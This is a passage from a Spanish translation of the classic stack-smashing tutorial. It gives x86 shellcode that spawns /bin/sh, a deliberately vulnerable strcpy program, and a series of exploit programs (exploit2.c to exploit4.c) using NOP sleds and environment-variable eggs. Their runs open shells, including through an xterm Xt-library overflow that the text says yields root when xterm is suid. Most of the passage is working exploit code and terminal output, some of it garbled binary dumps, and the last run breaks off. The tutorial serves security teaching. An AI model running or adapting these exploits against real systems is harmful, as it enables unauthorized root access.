        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string "/bin/sh"             # 8 bytes
                                        # 46 bytes total
");
}
-----------------------------------------------------------------------
       
Y el nuevo programa de test:

testsc2.c
-----------------------------------------------------------------------
char shellcode[] =
        "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
        "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
        "x80xe8xdcxffxffxff/bin/sh";
       
void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}
-----------------------------------------------------------------------
-----------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
-----------------------------------------------------------------------

   
   Escribiendo un exploit
   ~~~~~~~~~~~~~~~~

Intentemos poner todos nuestros conocimientos juntos. Tenemos el shellcode. Sabemos que debe ser parte
de una cadena que sera usada para desbordar el buffer. Sabemos que debemos apuntar a la direccion de retorno
(return address) para volver al buffer. Este ejemplo demostrara estos puntos:

overflow1.c
-----------------------------------------------------------------------
char shellcode[] =
        "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
        "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
        "x80xe8xdcxffxffxff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}
-----------------------------------------------------------------------
       
-----------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
-----------------------------------------------------------------------

Lo que hemos hecho es llenar el array large_string[] con la direccion de buffer[], la cual es donde estara nuestro codigo.
Despues copiamos nuestra
shellcode al printipio de la cadena large_string. strcpy() copiara despues la large_string en el buffer sin hacer ningun tipo
de chequeo, y desbordara la direccion de retorno (return address), sobreescribiendola con la direccion donde nuestro codigo
esta ahora localizado. Una vez que llega al final del main y intenta acabar salta nuestro codigo, y ejecuta una shell.

El problema que tenemos cuando intentamos desbordar el buffer de otro programa es el intentar saber en que direccion
estara el buffer. La respuesta es que para cada programa la pila empezara en la misma direccion.
La mayoria de los programas no ponen mas que unos cientos o miles de bytes en la pila al mismo tiempo.
Asi que sabiendo donde empieza la pila intentaremos descubrir en que parte del buffer tendremos que actuar para
conseguir el desbordamiento. Aqui esta un reducido programa que escribira un puntero en la pila.

sp.c
-----------------------------------------------------------------------
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
void main() {
  printf("0x%x ", get_sp());
}
-----------------------------------------------------------------------

-----------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
-----------------------------------------------------------------------

Se asume que este programa intentara desbordar esto:

vulnerable.c
-----------------------------------------------------------------------
void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}
-----------------------------------------------------------------------

Creamos un programa que tome como parametro la longitud de un buffer, y un offset desde su propio puntero a la pila.
Pondremos la cadena de desbordamiento en la variable del entorno para ser mas facil de manipular:

exploit2.c
-----------------------------------------------------------------------
#include
  
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] =
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
  "x80xe8xdcxffxffxff/bin/sh";
   
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
  
void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory. ");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x ", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
 
  ptr += 4;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '';
 
  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
-----------------------------------------------------------------------

Ahora podemos intentar saber que buffer y offset deberia ser:

-----------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
-----------------------------------------------------------------------

Como podemos ver este no es un proceso eficiente. Intentamos buscar la offset incluso sabiendo donde empieza la pila es ciertamente imposible. Debemos necesitar a lo mejor cientos de intentos, y a la peor dos mil. El problema es que necesitamos saber *exactamente* la direccion donde empezara el codigo. Si nos equivocamos un byte mas o menos simplemente conseguiremos una violacion de segmento o instruccion invalida. Una forma para evitar esto es poner delante de nuestro overflow buffer instrucciones NOP. Casi todos los procesadores tienen la instruccion NOP que permite una operacion null.  Normalmente se usaban para ejecutar con propositos de retardar. Conseguiremos cierta ventaja si las usamos y llenamos la mitad de nuestro overflow buffer con ellas. Pondremos en el centro nuestro shellcode, y despues lo seguiremos con las direcciones de retorno (return addresses). Si tenemos suerte y la direccion de retorno (return address) apunta a algun sitio en la cadena de NOPs, seran ejecutados hasta que vaya nuestro codigo. Con arquitecturas Intel la instruccion NOP ocupa un byte y queda traducida a 0x90 en codigo maquina. Asumiendo que la pila empieza en la direccion 0xFF, que S representa el shellcode, y que N representa la instruccion NOP la nueva pila pareceria esto:

parte baja DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     parte alta
de la mem  89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     de la memoria
           buffer                sfp   ret   a     b     c

<------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                 ^                     |
                 |_____________________|
parte alta                                                        parte baja
la pila                                                           de la pila


El nuevo exploit seria asi:

exploit3.c
-----------------------------------------------------------------------
#include

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
  "x80xe8xdcxffxffxff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory. ");
    exit(0);
  }
 
  addr = get_sp() - offset;
  printf("Using address: 0x%x ", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
 
  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;
 
  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
-----------------------------------------------------------------------

Una buena seleccion para nuestras dimensiones de buffer es 100 bytes mas que las dimensiones del buffer que estamos intentando desbordar. Esto situara nuestro codigo al final de el buffer, dando mucho espacio para los NOPs, pero todavia sobreescribiendo la direccion de retorno (return address) con la direccion que estemos buscando. El buffer que estamos intentando desbordar es de 512 bytes, asi que usaremos 612. Intentemos desbordar nuestro programa de test con nuestro nuevo exploit:

-----------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
-----------------------------------------------------------------------
Buah! Primer intento! Este cambio ha ampliado nuestras posibilidades un 100%. Intentemos ahora un caso real de buffer overflow. Usaremos para nuestra demostracion el buffer overflow en la libreria Xt. Para nuestro ejemplo, usaremos xterm (todos los programas linkados con la libreria Xt son vulnerables). Deben ser ejecutados en un servidor X y permitir conexiones a el desde el localhost. Pon tu variable DISPLAY de forma que concuerde.

-----------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
                           °
                            óV

¤1¤Ø¤èÜÿÿÿ/bin/sh¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤
¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿
¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤
¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤
ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ
¿¤¤ÿ¿¤¤
 

ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ
¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿
¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤
¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤
ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ
¿¤¤ÿ¿¤¤ÿ¿¤  

¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿÿ¿¤
¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤^C

[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
                           °
                            óV

¤1¤Ø¤èÜÿÿÿ/bin/sh¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿
H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H
¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H
¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤        
                           

ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿
H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤
ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿
H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤
ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿
H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H


¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H
¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H
¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿


H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤
ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿
H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤
ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿
H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤
ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ


¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ

Warning: some arguments in previous message were lost Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
                           °
                            óV

¤1¤Ø¤èÜÿÿÿ/bin/shûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿
Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû
ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T
ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿
Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû


ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T
ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿
Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû
ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T
ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T


ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿
Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû
ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T
ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿
Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿


Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû
ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T
ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿
Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ


¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ

Warning: some arguments in previous message were lost bash$
-----------------------------------------------------------------------

Eureka! Menos de una docena de intentos y encontramos los numeros magicos.  Si xterm esta instalado como suid root esto deberia dar una cuenta de root.

   
   Buffer overflows reducidos
   ~~~~~~~~~~~~~~~~~~~

Habra a veces que el buffer que estas intentando desbordar es tan reducido que o la shellcode no trabaja bien, y sobreescrbira la direccion de retorno (return address) con instrucciones en vez de la direccion de nuestro codigo, o el numero de NOPs que tu pones delante de la cadena es tan reducido que los cambios en la busqueda de la direccion son minusculos. Para obtener una shell desde estos programas tendras que hacerlo de otra forma. Esto, en particular, solo funciona cuando tienes acceso a las variables de entorno del programa.

Lo que haremos es situar nuestra shellcode en una variable del entorno, y despues desbordar el buffer con la direccion de esta variable en memoria. Este metodo tambien incrementa los cambios en la manera de funcionar del exploit tanto como tu puedas hacer que la variables del entorno mantenta la shellcode tan grande como quieras.

Las variables del entorno estan en la parte alta de la pila cuando el programa empieza, alguna modificacion con setenv() y despues estan localizadas en algun otro lado. La pila al principio tiene este aspecto:

  NULL NULL

Nuestro nuevo programa tomara una variables extra, las dimensiones de esta variable contendran el shellcode y NOPs.  Nuestro nuevo exploit sera ahora asi:

exploit4.c
-----------------------------------------------------------------------
#include

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
  "x80xe8xdcxffxffxff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory. ");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory. ");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x ", addr);
 
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
 
  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;
 
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
 
  buff[bsize - 1] = '';
  egg[eggsize - 1] = '';
   
  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/bin/bash");
}
-----------------------------------------------------------------------
Intentemos usar ahora nuestro nuevo exploit con el programa de prueba vulnerable:

-----------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
-----------------------------------------------------------------------
 
Funciona. Ahora intentemos en una xterm:

-----------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤

 
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°


¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿


°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ


